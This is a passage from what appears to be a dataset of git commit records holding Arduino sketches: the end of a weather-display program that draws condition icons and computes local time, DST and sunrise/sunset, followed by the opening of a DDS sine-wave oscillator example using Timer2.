(id)\n {\n case 800: drawClearWeather(); break;\n case 801: drawFewClouds(); break;\n case 802: drawFewClouds(); break;\n case 803: drawCloud(); break;\n case 804: drawCloud(); break;\n\n case 200: drawThunderstorm(); break;\n case 201: drawThunderstorm(); break;\n case 202: drawThunderstorm(); break;\n case 210: drawThunderstorm(); break;\n case 211: drawThunderstorm(); break;\n case 212: drawThunderstorm(); break;\n case 221: drawThunderstorm(); break;\n case 230: drawThunderstorm(); break;\n case 231: drawThunderstorm(); break;\n case 232: drawThunderstorm(); break;\n\n case 300: drawLightRain(); break;\n case 301: drawLightRain(); break;\n case 302: drawLightRain(); break;\n case 310: drawLightRain(); break;\n case 311: drawLightRain(); break;\n case 312: drawLightRain(); break;\n case 313: drawLightRain(); break;\n case 314: drawLightRain(); break;\n case 321: drawLightRain(); break;\n\n case 500: drawLightRainWithSunOrMoon(); break;\n \/\/ case 501: drawLightRainWithSunOrMoon(); break;\n case 501: drawModerateRain(); break;\n case 502: drawLightRainWithSunOrMoon(); break;\n case 503: drawLightRainWithSunOrMoon(); break;\n case 504: drawLightRainWithSunOrMoon(); break;\n case 511: drawLightRain(); break;\n case 520: drawModerateRain(); break;\n case 521: drawModerateRain(); break;\n case 522: drawHeavyRain(); break;\n case 531: drawHeavyRain(); break;\n\n case 600: drawLightSnowfall(); break;\n case 601: drawModerateSnowfall(); break;\n case 602: drawHeavySnowfall(); break;\n case 611: drawLightSnowfall(); break;\n case 612: drawLightSnowfall(); break;\n case 615: drawLightSnowfall(); break;\n case 616: drawLightSnowfall(); break;\n case 620: drawLightSnowfall(); break;\n case 621: drawModerateSnowfall(); break;\n case 622: drawHeavySnowfall(); break;\n\n case 701: drawFog(); break;\n case 711: drawFog(); break;\n case 721: drawFog(); break;\n case 731: drawFog(); break;\n case 741: drawFog(); break;\n case 751: drawFog(); break;\n case 761: drawFog(); break;\n case 762: drawFog(); break;\n case 771: drawFog(); break;\n case 781: drawFog(); break;\n\n default: break;\n }\n}\n\nString convertGMTTimeToLocal(String timeS, String latitude, String longitude, int* riseI, int* setI)\n{\n double rise, set;\n\n int length = timeS.length();\n String yearS = timeS.substring(0, 4);\n int year = yearS.toInt();\n String monthS = timeS.substring(5, 7);\n int month = monthS.toInt();\n String dayS = timeS.substring(8, 10);\n int day = dayS.toInt();\n timeS = timeS.substring(length - 8, length - 6); \/\/ Strip out the hours\n int time = timeS.toInt();\n\n#ifdef CONVERTTIMETOLOCAL\n \/\/ For some reason, time is off by some (???) hours from UTC. Need to compensate\n int TimeErrorOffset = -3;\n if (((time > 18) && (time < 21)) || (time == 12) || (time == 0)) {\n time += (TimeErrorOffset + 2);\n }\n else {\n time += TimeErrorOffset;\n }\n#endif\n\n \/\/ Convert UTC time & date to local time & date\n bool DST = convertToLocal(&time, &year, &month,\n &day, (double)longitude.toFloat(), true); \/\/ true means date and DST conversion\n#ifdef DEBUG\n Serial.print(\"\\nDate \");\n Serial.print(month);\n Serial.print(\"\/\");\n Serial.print(day);\n Serial.print(\"\/\");\n Serial.println(year);\n#ifdef CONVERTTIMETOLOCAL\n Serial.println((DST) ? \"It's DST\" : \"It's ST\");\n#endif\n#endif\n\n \/\/ Get sunrise and sunset time in UTC\n int rs = sun_rise_set(year, month, day,\n (double)longitude.toFloat(),\n (double)latitude.toFloat(),\n &rise, &set);\n *riseI = (int)round(rise);\n *setI = (int)round(set);\n\n \/\/ Convert UTC sunrise time to local sunrise time\n bool notUsed1 = convertToLocal(riseI, &year, &month,\n &day, (double)longitude.toFloat(), false); \/\/ false means no date or DST conversion\n\n \/\/ Convert UTC sunset time to local sunset time\n bool notUsed2 = convertToLocal(setI, &year, &month,\n &day, (double)longitude.toFloat(), false); \/\/ false means no date or DST conversion\n\n \/\/ Determine night or day\n night = (time > *setI || time < *riseI);\n\n if (*riseI >= 12) { \/\/ Convert to 12 hour format\n if (*riseI > 12) *riseI -= 12;\n }\n if (*setI >= 12) { \/\/ Convert to 12 hour format\n if (*setI > 12) *setI -= 12;\n }\n\n#ifdef DEBUG\n String riseS = String(*riseI) + \":00\" + \"am\";\n String setS = String(*setI) + \":00\" + \"pm\";\n Serial.print(\"Sunrise \");\n Serial.println(riseS);\n Serial.print(\"Sunset \");\n Serial.println(setS);\n Serial.println((night) ? \"It is Night time\" : \"It is Day time\");\n#endif\n\n char AMPM[] = \"am\";\n if (time >= 12) { \/\/ Convert to 12 hour format\n if (time > 12) time -= 12;\n strcpy(AMPM, \"pm\");\n }\n\n timeS = String(time) + \":00\" + AMPM;\n\n return timeS;\n}\n\nvoid clearScreen()\n{\n tft.fillScreen(BLACK);\n}\n\nvoid drawClearWeather()\n{\n if (night)\n {\n drawTheMoon();\n } else\n {\n drawTheSun();\n }\n}\n\nvoid drawFewClouds()\n{\n if (night)\n {\n drawCloudAndTheMoon();\n } else\n {\n drawCloudWithSun();\n }\n}\n\nvoid drawTheSun()\n{\n tft.fillCircle(64, 80, 26, YELLOW);\n}\n\nvoid drawTheFullMoon()\n{\n tft.fillCircle(64, 80, 26, GREY);\n}\n\nvoid drawTheMoon()\n{\n tft.fillCircle(64, 80, 26, GREY);\n tft.fillCircle(75, 73, 26, BLACK);\n}\n\nvoid drawCloud()\n{\n tft.drawBitmap(0, 35, cloud, 128, 90, GREY);\n}\n\nvoid drawCloudWithSun()\n{\n tft.fillCircle(73, 70, 20, YELLOW);\n tft.drawBitmap(0, 36, cloud, 128, 90, BLACK);\n tft.drawBitmap(0, 40, cloud, 128, 90, GREY);\n}\n\nvoid drawLightRainWithSunOrMoon()\n{\n if (night)\n {\n drawCloudTheMoonAndRain();\n } else\n {\n drawCloudSunAndRain();\n }\n}\n\nvoid drawLightRain()\n{\n tft.drawBitmap(0, 35, cloud, 128, 90, GREY);\n tft.fillRoundRect(50, 105, 3, 13, 1, BLUE);\n tft.fillRoundRect(65, 105, 3, 13, 1, BLUE);\n tft.fillRoundRect(80, 105, 3, 13, 1, BLUE);\n}\n\nvoid drawModerateRain()\n{\n tft.drawBitmap(0, 35, cloud, 128, 90, GREY);\n tft.fillRoundRect(50, 105, 3, 15, 1, BLUE);\n tft.fillRoundRect(57, 102, 3, 15, 1, BLUE);\n tft.fillRoundRect(65, 105, 3, 15, 1, BLUE);\n tft.fillRoundRect(72, 102, 3, 15, 1, BLUE);\n tft.fillRoundRect(80, 105, 3, 15, 1, BLUE);\n}\n\nvoid drawHeavyRain()\n{\n tft.drawBitmap(0, 35, cloud, 128, 90, GREY);\n tft.fillRoundRect(43, 102, 3, 15, 1, BLUE);\n tft.fillRoundRect(50, 105, 3, 15, 1, BLUE);\n tft.fillRoundRect(57, 102, 3, 15, 1, BLUE);\n tft.fillRoundRect(65, 105, 3, 15, 1, BLUE);\n tft.fillRoundRect(72, 102, 3, 15, 1, BLUE);\n tft.fillRoundRect(80, 105, 3, 15, 1, BLUE);\n tft.fillRoundRect(87, 102, 3, 15, 1, BLUE);\n}\n\nvoid drawThunderstorm()\n{\n tft.drawBitmap(0, 40, thunder, 128, 90, YELLOW);\n tft.drawBitmap(0, 35, cloud, 128, 90, GREY);\n tft.fillRoundRect(48, 102, 3, 15, 1, BLUE);\n tft.fillRoundRect(55, 102, 3, 15, 1, BLUE);\n tft.fillRoundRect(74, 102, 3, 15, 1, BLUE);\n tft.fillRoundRect(82, 102, 3, 15, 1, BLUE);\n}\n\nvoid drawLightSnowfall()\n{\n tft.drawBitmap(0, 30, cloud, 128, 90, GREY);\n tft.fillCircle(50, 100, 3, GREY);\n tft.fillCircle(65, 103, 3, GREY);\n tft.fillCircle(82, 100, 3, GREY);\n}\n\nvoid drawModerateSnowfall()\n{\n tft.drawBitmap(0, 35, cloud, 128, 90, GREY);\n tft.fillCircle(50, 105, 3, GREY);\n tft.fillCircle(50, 115, 3, GREY);\n tft.fillCircle(65, 108, 3, GREY);\n tft.fillCircle(65, 118, 3, GREY);\n tft.fillCircle(82, 105, 3, GREY);\n tft.fillCircle(82, 115, 3, GREY);\n}\n\nvoid drawHeavySnowfall()\n{\n tft.drawBitmap(0, 35, cloud, 128, 90, GREY);\n tft.fillCircle(40, 105, 3, GREY);\n tft.fillCircle(52, 105, 3, GREY);\n tft.fillCircle(52, 115, 3, GREY);\n tft.fillCircle(65, 108, 3, GREY);\n tft.fillCircle(65, 118, 3, GREY);\n tft.fillCircle(80, 105, 3, GREY);\n tft.fillCircle(80, 115, 3, GREY);\n tft.fillCircle(92, 105, 3, GREY);\n}\n\nvoid drawCloudSunAndRain()\n{\n tft.fillCircle(73, 70, 20, YELLOW);\n tft.drawBitmap(0, 32, cloud, 128, 90, BLACK);\n tft.drawBitmap(0, 35, cloud, 128, 90, GREY);\n tft.fillRoundRect(50, 105, 3, 13, 1, BLUE);\n tft.fillRoundRect(65, 105, 3, 13, 1, BLUE);\n tft.fillRoundRect(80, 105, 3, 13, 1, BLUE);\n}\n\nvoid drawCloudAndTheMoon()\n{\n tft.fillCircle(94, 60, 18, GREY);\n tft.fillCircle(105, 53, 18, BLACK);\n tft.drawBitmap(0, 32, cloud, 128, 90, BLACK);\n tft.drawBitmap(0, 35, cloud, 128, 90, GREY);\n}\n\nvoid drawCloudTheMoonAndRain()\n{\n tft.fillCircle(94, 60, 18, GREY);\n tft.fillCircle(105, 53, 18, BLACK);\n tft.drawBitmap(0, 32, cloud, 128, 90, BLACK);\n tft.drawBitmap(0, 35, cloud, 128, 90, GREY);\n tft.fillRoundRect(50, 105, 3, 11, 1, BLUE);\n tft.fillRoundRect(65, 105, 3, 11, 1, BLUE);\n tft.fillRoundRect(80, 105, 3, 11, 1, BLUE);\n}\n\nvoid drawWind()\n{\n tft.drawBitmap(0, 35, wind, 128, 90, GREY);\n}\n\nvoid drawFog()\n{\n tft.fillRoundRect(45, 60, 40, 4, 1, GREY);\n tft.fillRoundRect(40, 70, 50, 4, 1, GREY);\n tft.fillRoundRect(35, 80, 60, 4, 1, GREY);\n tft.fillRoundRect(40, 90, 50, 4, 1, GREY);\n tft.fillRoundRect(45, 100, 40, 4, 1, GREY);\n}\n\nvoid clearIcon()\n{\n tft.fillRect(0, 40, 128, 100, BLACK);\n}\n\n\/* Helper functions for determing local time & date (from UTC)\n\n The following three functions ripped off from Electrical Engineering Stack Exchange\n http:\/\/electronics.stackexchange.com\/questions\/66285\/how-to-calculate-day-of-the-week-for-rtc\n\n Returns the number of days to the start of the specified year, taking leap\n years into account, but not the shift from the Julian calendar to the\n Gregorian calendar. Instead, it is as though the Gregorian calendar is\n extrapolated back in time to a hypothetical \"year zero\".\n*\/\nuint16_t leap(uint16_t year)\n{\n return year * 365 + (year \/ 4) - (year \/ 100) + (year \/ 400);\n}\n\/* Returns a number representing the number of days since March 1 in the\n hypothetical year 0, not counting the change from the Julian calendar\n to the Gregorian calendar that occurred in the 16th century. This\n algorithm is loosely based on a function known as \"Zeller's Congruence\".\n This number MOD 7 gives the day of week, where 0 = Monday and 6 = Sunday.\n*\/\nuint16_t zeller(uint16_t year, uint8_t month, uint8_t day)\n{\n year += ((month + 9) \/ 12) - 1;\n month = (month + 9) % 12;\n return leap(year) + month * 30 + ((6 * month + 5) \/ 10) + day + 1;\n}\n\n\/\/ Returns the day of week for a given date.\nuint8_t dayOfWeek(uint16_t year, uint8_t month, uint8_t day)\n{\n return (zeller(year, month, day) % 7) + 1;\n}\n\n\/* Ripped off from Stackoverflow\n http:\/\/stackoverflow.com\/questions\/5590429\/calculating-daylight-saving-time-from-only-date\n\n Check to see if it's Daylight Savings Time (DST)\n*\/\nbool IsDST(uint8_t day, uint8_t month , uint8_t DOW)\n{\n \/\/ Make Day of Week (DOW) match with what Stackoverflow suggests\n \/\/ for DOW (Sunday = 0 to Saturday = 6)\n switch (DOW)\n {\n case 6: DOW = 0; break; \/\/ Sun\n case 7: DOW = 1; break; \/\/ Mon\n case 1: DOW = 2; break; \/\/ Tue\n case 2: DOW = 3; break; \/\/ Wed\n case 3: DOW = 4; break; \/\/ Thu\n case 4: DOW = 5; break; \/\/ Fri\n case 5: DOW = 6; break; \/\/ Sat\n default: break;\n }\n \/\/ January, February, and December are out\n if (month < 3 || month > 11) {\n return false;\n }\n \/\/ April to October are in\n if (month > 3 && month < 11) {\n return true;\n }\n int8_t previousSunday = (int8_t)(day - DOW);\n \/\/ In march, we are DST if our previous Sunday was on or after the 8th\n if (month == 3) {\n return previousSunday >= 8;\n }\n \/\/ In November we must be before the first Sunday to be DST\n \/\/ That means the previous Sunday must be before the 1st\n return previousSunday <= 0;\n}\n\n\/* Convert UTC time and date to local time and date\n Difference between UTC time\/date (at Greenwich) and local time\/date is 15 minutes\n per 1 degree of longitude. See the following:\n http:\/\/www.edaboard.com\/thread101516.html\n*\/\nbool convertToLocal(int* hour, int* year, int* month,\n int* day, double lon, bool convertDate) {\n\n uint8_t DaysAMonth[] = {31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31};\n\n \/\/ Get Day of Week (DOW)\n uint8_t DOW = dayOfWeek(*year, *month, *day);\n \/\/ Get Daylight Saving Time (DST) or Standard Time (ST)\n bool DST = IsDST(*day, *month, DOW);\n \/\/ Compute local time (hours)\n int8_t UTCOffset = (int8_t)round((lon \/ 15.0d)); \/\/ UTC offset\n if (UTCOffset < 0) {\n \/\/ West of Greenwich, subtract\n UTCOffset = abs(UTCOffset); \/\/ Make offset positive\n if (DST && convertDate) --UTCOffset; \/\/ Compensate for DST\n if (*hour <= UTCOffset) *hour += 24;\n *hour -= UTCOffset; \/\/ Subtract offset\n }\n else {\n \/\/ East of Greenwich, add\n if (DST && convertDate) --UTCOffset; \/\/ Compensate for DST\n if (*hour <= UTCOffset) *hour += 24;\n *hour += UTCOffset; \/\/ Add offset\n }\n \/\/ Convert date if convertDate flag is set\n \/\/ Portions of the following code (with some modifications) ripped off from Instructables\n \/\/ http:\/\/www.instructables.com\/id\/GPS-time-UTC-to-local-time-conversion-using-Arduin\/?ALLSTEPS\n if (convertDate) {\n if ((24 - *hour) <= UTCOffset) { \/\/ A new UTC day started\n if (*year % 4 == 0) DaysAMonth[1] = 29; \/\/leap year check (the simple method)\n if (*hour < 24) {\n *day -= 1;\n if (*day < 1) {\n if (*month == 1) {\n *month = 12;\n *year -= 1;\n } \/\/ if (*month == 1)\n else {\n *month -= 1;\n }\n *day = DaysAMonth[*month - 1];\n } \/\/ if (*day < 1)\n } \/\/ if (*hour < 24)\n else if (*hour >= 24) {\n *day += 1;\n if (*day > DaysAMonth[*month - 1]) {\n *day = 1;\n *month += 1;\n if (*month > 12) *year += 1;\n } \/\/ if (*day > DaysAMonth[*month - 1])\n } \/\/ if (*hour >= 24)\n } \/\/ if ((24 - *hour) <= UTCOffset)\n } \/\/ if (convertDate)\n return (DST);\n}\n\n\/*\n SUNRISET.C - Computes Sun rise\/set times, start\/end of twilight, and\n the length of the day at any date and latitude\n\n Written as DAYLEN.C, 1989-08-16\n\n Modified to SUNRISET.C, 1992-12-01\n\n (c) Paul Schlyter, 1989, 1992\n\n Released to the public domain by Paul Schlyter, December 1992\n\n http:\/\/stjarnhimlen.se\/comp\/sunriset.c\n\n*\/\n\n\/* The \"workhorse\" function for sun rise\/set times *\/\nint __sunriset__( int year, int month, int day, double lon, double lat,\n double altit, int upper_limb, double *trise, double *tset )\n\/***************************************************************************\/\n\/* Note: year,month,date = calendar date, 1801-2099 only. *\/\n\/* Eastern longitude positive, Western longitude negative *\/\n\/* Northern latitude positive, Southern latitude negative *\/\n\/* The longitude value IS critical in this function! *\/\n\/* altit = the altitude which the Sun should cross *\/\n\/* Set to -35\/60 degrees for rise\/set, -6 degrees *\/\n\/* for civil, -12 degrees for nautical and -18 *\/\n\/* degrees for astronomical twilight. *\/\n\/* upper_limb: non-zero -> upper limb, zero -> center *\/\n\/* Set to non-zero (e.g. 1) when computing rise\/set *\/\n\/* times, and to zero when computing start\/end of *\/\n\/* twilight. *\/\n\/* *rise = where to store the rise time *\/\n\/* *set = where to store the set time *\/\n\/* Both times are relative to the specified altitude, *\/\n\/* and thus this function can be used to compute *\/\n\/* various twilight times, as well as rise\/set times *\/\n\/* Return value: 0 = sun rises\/sets this day, times stored at *\/\n\/* *trise and *tset. *\/\n\/* +1 = sun above the specified \"horizon\" 24 hours. *\/\n\/* *trise set to time when the sun is at south, *\/\n\/* minus 12 hours while *tset is set to the south *\/\n\/* time plus 12 hours. \"Day\" length = 24 hours *\/\n\/* -1 = sun is below the specified \"horizon\" 24 hours *\/\n\/* \"Day\" length = 0 hours, *trise and *tset are *\/\n\/* both set to the time when the sun is at south. *\/\n\/* *\/\n\/**********************************************************************\/\n{\n double d, \/* Days since 2000 Jan 0.0 (negative before) *\/\n sr, \/* Solar distance, astronomical units *\/\n sRA, \/* Sun's Right Ascension *\/\n sdec, \/* Sun's declination *\/\n sradius, \/* Sun's apparent radius *\/\n t, \/* Diurnal arc *\/\n tsouth, \/* Time when Sun is at south *\/\n sidtime; \/* Local sidereal time *\/\n\n int rc = 0; \/* Return cde from function - usually 0 *\/\n\n \/* Compute d of 12h local mean solar time *\/\n d = days_since_2000_Jan_0(year, month, day) + 0.5 - lon \/ 360.0;\n\n \/* Compute the local sidereal time of this moment *\/\n sidtime = revolution( GMST0(d) + 180.0 + lon );\n\n \/* Compute Sun's RA, Decl and distance at this moment *\/\n sun_RA_dec( d, &sRA, &sdec, &sr );\n\n \/* Compute time when Sun is at south - in hours UT *\/\n tsouth = 12.0 - rev180(sidtime - sRA) \/ 15.0;\n\n \/* Compute the Sun's apparent radius in degrees *\/\n sradius = 0.2666 \/ sr;\n\n \/* Do correction to upper limb, if necessary *\/\n if ( upper_limb )\n altit -= sradius;\n\n \/* Compute the diurnal arc that the Sun traverses to reach *\/\n \/* the specified altitude altit: *\/\n {\n double cost;\n cost = ( sind(altit) - sind(lat) * sind(sdec) ) \/\n ( cosd(lat) * cosd(sdec) );\n if ( cost >= 1.0 )\n rc = -1, t = 0.0; \/* Sun always below altit *\/\n else if ( cost <= -1.0 )\n rc = +1, t = 12.0; \/* Sun always above altit *\/\n else\n t = acosd(cost) \/ 15.0; \/* The diurnal arc, hours *\/\n }\n\n \/* Store rise and set times - in hours UT *\/\n *trise = tsouth - t;\n *tset = tsouth + t;\n\n return rc;\n} \/* __sunriset__ *\/\n\n\/* The \"workhorse\" function *\/\ndouble __daylen__( int year, int month, int day, double lon, double lat,\n double altit, int upper_limb )\n\/**********************************************************************\/\n\/* Note: year,month,date = calendar date, 1801-2099 only. *\/\n\/* Eastern longitude positive, Western longitude negative *\/\n\/* Northern latitude positive, Southern latitude negative *\/\n\/* The longitude value is not critical. Set it to the correct *\/\n\/* longitude if you're picky, otherwise set to to, say, 0.0 *\/\n\/* The latitude however IS critical - be sure to get it correct *\/\n\/* altit = the altitude which the Sun should cross *\/\n\/* Set to -35\/60 degrees for rise\/set, -6 degrees *\/\n\/* for civil, -12 degrees for nautical and -18 *\/\n\/* degrees for astronomical twilight. *\/\n\/* upper_limb: non-zero -> upper limb, zero -> center *\/\n\/* Set to non-zero (e.g. 1) when computing day length *\/\n\/* and to zero when computing day+twilight length. *\/\n\/**********************************************************************\/\n{\n double d, \/* Days since 2000 Jan 0.0 (negative before) *\/\n obl_ecl, \/* Obliquity (inclination) of Earth's axis *\/\n sr, \/* Solar distance, astronomical units *\/\n slon, \/* True solar longitude *\/\n sin_sdecl, \/* Sine of Sun's declination *\/\n cos_sdecl, \/* Cosine of Sun's declination *\/\n sradius, \/* Sun's apparent radius *\/\n t; \/* Diurnal arc *\/\n\n \/* Compute d of 12h local mean solar time *\/\n d = days_since_2000_Jan_0(year, month, day) + 0.5 - lon \/ 360.0;\n\n \/* Compute obliquity of ecliptic (inclination of Earth's axis) *\/\n obl_ecl = 23.4393 - 3.563E-7 * d;\n\n \/* Compute Sun's ecliptic longitude and distance *\/\n sunpos( d, &slon, &sr );\n\n \/* Compute sine and cosine of Sun's declination *\/\n sin_sdecl = sind(obl_ecl) * sind(slon);\n cos_sdecl = sqrt( 1.0 - sin_sdecl * sin_sdecl );\n\n \/* Compute the Sun's apparent radius, degrees *\/\n sradius = 0.2666 \/ sr;\n\n \/* Do correction to upper limb, if necessary *\/\n if ( upper_limb )\n altit -= sradius;\n\n \/* Compute the diurnal arc that the Sun traverses to reach *\/\n \/* the specified altitude altit: *\/\n {\n double cost;\n cost = ( sind(altit) - sind(lat) * sin_sdecl ) \/\n ( cosd(lat) * cos_sdecl );\n if ( cost >= 1.0 )\n t = 0.0; \/* Sun always below altit *\/\n else if ( cost <= -1.0 )\n t = 24.0; \/* Sun always above altit *\/\n else t = (2.0 \/ 15.0) * acosd(cost); \/* The diurnal arc, hours *\/\n }\n return t;\n} \/* __daylen__ *\/\n\n\/* This function computes the Sun's position at any instant *\/\nvoid sunpos( double d, double *lon, double *r )\n\/******************************************************\/\n\/* Computes the Sun's ecliptic longitude and distance *\/\n\/* at an instant given in d, number of days since *\/\n\/* 2000 Jan 0.0. The Sun's ecliptic latitude is not *\/\n\/* computed, since it's always very near 0. *\/\n\/******************************************************\/\n{\n double M, \/* Mean anomaly of the Sun *\/\n w, \/* Mean longitude of perihelion *\/\n \/* Note: Sun's mean longitude = M + w *\/\n e, \/* Eccentricity of Earth's orbit *\/\n E, \/* Eccentric anomaly *\/\n x, y, \/* x, y coordinates in orbit *\/\n v; \/* True anomaly *\/\n\n \/* Compute mean elements *\/\n M = revolution( 356.0470 + 0.9856002585 * d );\n w = 282.9404 + 4.70935E-5 * d;\n e = 0.016709 - 1.151E-9 * d;\n\n \/* Compute true longitude and radius vector *\/\n E = M + e * RADEG * sind(M) * ( 1.0 + e * cosd(M) );\n x = cosd(E) - e;\n y = sqrt( 1.0 - e * e ) * sind(E);\n *r = sqrt( x * x + y * y ); \/* Solar distance *\/\n v = atan2d( y, x ); \/* True anomaly *\/\n *lon = v + w; \/* True solar longitude *\/\n if ( *lon >= 360.0 )\n *lon -= 360.0; \/* Make it 0..360 degrees *\/\n}\n\nvoid sun_RA_dec( double d, double *RA, double *dec, double *r )\n\/******************************************************\/\n\/* Computes the Sun's equatorial coordinates RA, Decl *\/\n\/* and also its distance, at an instant given in d, *\/\n\/* the number of days since 2000 Jan 0.0. *\/\n\/******************************************************\/\n{\n double lon, obl_ecl, x, y, z;\n\n \/* Compute Sun's ecliptical coordinates *\/\n sunpos( d, &lon, r );\n\n \/* Compute ecliptic rectangular coordinates (z=0) *\/\n x = *r * cosd(lon);\n y = *r * sind(lon);\n\n \/* Compute obliquity of ecliptic (inclination of Earth's axis) *\/\n obl_ecl = 23.4393 - 3.563E-7 * d;\n\n \/* Convert to equatorial rectangular coordinates - x is unchanged *\/\n z = y * sind(obl_ecl);\n y = y * cosd(obl_ecl);\n\n \/* Convert to spherical coordinates *\/\n *RA = atan2d( y, x );\n *dec = atan2d( z, sqrt(x * x + y * y) );\n\n} \/* sun_RA_dec *\/\n\n\/******************************************************************\/\n\/* This function reduces any angle to within the first revolution *\/\n\/* by subtracting or adding even multiples of 360.0 until the *\/\n\/* result is >= 0.0 and < 360.0 *\/\n\/******************************************************************\/\n#define INV360 ( 1.0 \/ 360.0 )\n\ndouble revolution( double x )\n\/*****************************************\/\n\/* Reduce angle to within 0..360 degrees *\/\n\/*****************************************\/\n{\n return ( x - 360.0 * floor( x * INV360 ) );\n} \/* revolution *\/\n\ndouble rev180( double x )\n\/*********************************************\/\n\/* Reduce angle to within +180..+180 degrees *\/\n\/*********************************************\/\n{\n return ( x - 360.0 * floor( x * INV360 + 0.5 ) );\n} \/* revolution *\/\n\n\n\/*******************************************************************\/\n\/* This function computes GMST0, the Greenwich Mean Sidereal Time *\/\n\/* at 0h UT (i.e. the sidereal time at the Greenwhich meridian at *\/\n\/* 0h UT). GMST is then the sidereal time at Greenwich at any *\/\n\/* time of the day. I've generalized GMST0 as well, and define it *\/\n\/* as: GMST0 = GMST - UT -- this allows GMST0 to be computed at *\/\n\/* other times than 0h UT as well. While this sounds somewhat *\/\n\/* contradictory, it is very practical: instead of computing *\/\n\/* GMST like: *\/\n\/* *\/\n\/* GMST = (GMST0) + UT * (366.2422\/365.2422) *\/\n\/* *\/\n\/* where (GMST0) is the GMST last time UT was 0 hours, one simply *\/\n\/* computes: *\/\n\/* *\/\n\/* GMST = GMST0 + UT *\/\n\/* *\/\n\/* where GMST0 is the GMST \"at 0h UT\" but at the current moment! *\/\n\/* Defined in this way, GMST0 will increase with about 4 min a *\/\n\/* day. It also happens that GMST0 (in degrees, 1 hr = 15 degr) *\/\n\/* is equal to the Sun's mean longitude plus\/minus 180 degrees! *\/\n\/* (if we neglect aberration, which amounts to 20 seconds of arc *\/\n\/* or 1.33 seconds of time) *\/\n\/* *\/\n\/*******************************************************************\/\n\ndouble GMST0( double d )\n{\n double sidtim0;\n \/* Sidtime at 0h UT = L (Sun's mean longitude) + 180.0 degr *\/\n \/* L = M + w, as defined in sunpos(). Since I'm too lazy to *\/\n \/* add these numbers, I'll let the C compiler do it for me. *\/\n \/* Any decent C compiler will add the constants at compile *\/\n \/* time, imposing no runtime or code overhead. *\/\n sidtim0 = revolution( ( 180.0 + 356.0470 + 282.9404 ) +\n ( 0.9856002585 + 4.70935E-5 ) * d );\n return sidtim0;\n} \/* GMST0 *\/\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'WeatherDisplay.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c305194387fd54b316079f1a394cdd70137dae3a","subject":"added oscil example","message":"added oscil example\n","repos":"Sonoscopia\/KidModular,Sonoscopia\/KidModular","old_file":"examples\/Oscillator_example\/Oscillator_example.ino","new_file":"examples\/Oscillator_example\/Oscillator_example.ino","new_contents":"\/*\n *\n * DDS Sine Generator mit ATMEGS 168\n * Timer2 generates the 31250 KHz Clock Interrupt\n *\n * KHM 2009 \/ Martin Nawrath\n * Kunsthochschule fuer Medien Koeln\n * Academy of Media Arts Cologne\n\n *\/\n\n#include \"avr\/pgmspace.h\"\n\n\/\/ table of 256 sine values \/ one sine period \/ stored in flash memory\nPROGMEM prog_uchar sine256[] = {\n 127,130,133,136,139,143,146,149,152,155,158,161,164,167,170,173,176,178,181,184,187,190,192,195,198,200,203,205,208,210,212,215,217,219,221,223,225,227,229,231,233,234,236,238,239,240,\n 242,243,244,245,247,248,249,249,250,251,252,252,253,253,253,254,254,254,254,254,254,254,253,253,253,252,252,251,250,249,249,248,247,245,244,243,242,240,239,238,236,234,233,231,229,227,225,223,\n 221,219,217,215,212,210,208,205,203,200,198,195,192,190,187,184,181,178,176,173,170,167,164,161,158,155,152,149,146,143,139,136,133,130,127,124,121,118,115,111,108,105,102,99,96,93,90,87,84,81,78,\n 76,73,70,67,64,62,59,56,54,51,49,46,44,42,39,37,35,33,31,29,27,25,23,21,20,18,16,15,14,12,11,10,9,7,6,5,5,4,3,2,2,1,1,1,0,0,0,0,0,0,0,1,1,1,2,2,3,4,5,5,6,7,9,10,11,12,14,15,16,18,20,21,23,25,27,29,31,\n 33,35,37,39,42,44,46,49,51,54,56,59,62,64,67,70,73,76,78,81,84,87,90,93,96,99,102,105,108,111,115,118,121,124\n\n};\n#define cbi(sfr, bit) (_SFR_BYTE(sfr) &= ~_BV(bit))\n#define sbi(sfr, bit) (_SFR_BYTE(sfr) |= _BV(bit))\n\nbyte bb;\n\ndouble dfreq;\n\/\/ const double refclk=31372.549; \/\/ =16MHz \/ 510\nconst double refclk=31376.6; \/\/ measured\n\n\/\/ variables used inside interrupt service declared as voilatile\nvolatile byte icnt; \/\/ var inside interrupt\nvolatile byte icnt1; \/\/ var inside interrupt\nvolatile byte c4ms; \/\/ counter incremented all 4ms\nvolatile unsigned long phaccu; \/\/ pahse accumulator\nvolatile unsigned long tword_m; \/\/ dds tuning word m\n\nvoid setup()\n{\n pinMode(10, OUTPUT); \/\/ pin11= PWM output \/ frequency output (pin10 on MEGA)\n\n Setup_timer2();\n\n \/\/ disable interrupts to avoid timing distortion\n cbi (TIMSK0,TOIE0); \/\/ disable Timer0 !!! delay() is now not available\n sbi (TIMSK2,TOIE2); \/\/ enable Timer2 Interrupt\n\n dfreq=1000.0; \/\/ initial output frequency = 1000.o Hz\n tword_m=pow(2,32)*dfreq\/refclk; \/\/ calulate DDS new tuning word \n\n}\nvoid loop()\n{\n while(1) {\n if (c4ms > 250) { \/\/ timer \/ wait fou a full second\n c4ms=0;\n dfreq=analogRead(0); \/\/ read Poti on analog pin 0 to adjust output frequency from 0..1023 Hz\n\n cbi (TIMSK2,TOIE2); \/\/ disble Timer2 Interrupt\n tword_m=pow(2,32)*dfreq\/refclk; \/\/ calulate DDS new tuning word\n sbi (TIMSK2,TOIE2); \/\/ enable Timer2 Interrupt \n }\n\n\/\/ sbi(PORTD,6); \/\/ Test \/ set PORTD,7 high to observe timing with a scope\n\/\/ cbi(PORTD,6); \/\/ Test \/reset PORTD,7 high to observe timing with a scope\n }\n }\n\/\/******************************************************************\n\/\/ timer2 setup\n\/\/ set prscaler to 1, PWM mode to phase correct PWM, 16000000\/510 = 31372.55 Hz clock\nvoid Setup_timer2() {\n\n\/\/ Timer2 Clock Prescaler to : 1\n sbi (TCCR2B, CS20);\n cbi (TCCR2B, CS21);\n cbi (TCCR2B, CS22);\n\n \/\/ Timer2 PWM Mode set to Phase Correct PWM\n cbi (TCCR2A, COM2A0); \/\/ clear Compare Match\n sbi (TCCR2A, COM2A1);\n\n sbi (TCCR2A, WGM20); \/\/ Mode 1 \/ Phase Correct PWM\n cbi (TCCR2A, WGM21);\n cbi (TCCR2B, WGM22);\n}\n\n\/\/******************************************************************\n\/\/ Timer2 Interrupt Service at 31372,550 KHz = 32uSec\n\/\/ this is the timebase REFCLOCK for the DDS generator\n\/\/ FOUT = (M (REFCLK)) \/ (2 exp 32)\n\/\/ runtime : 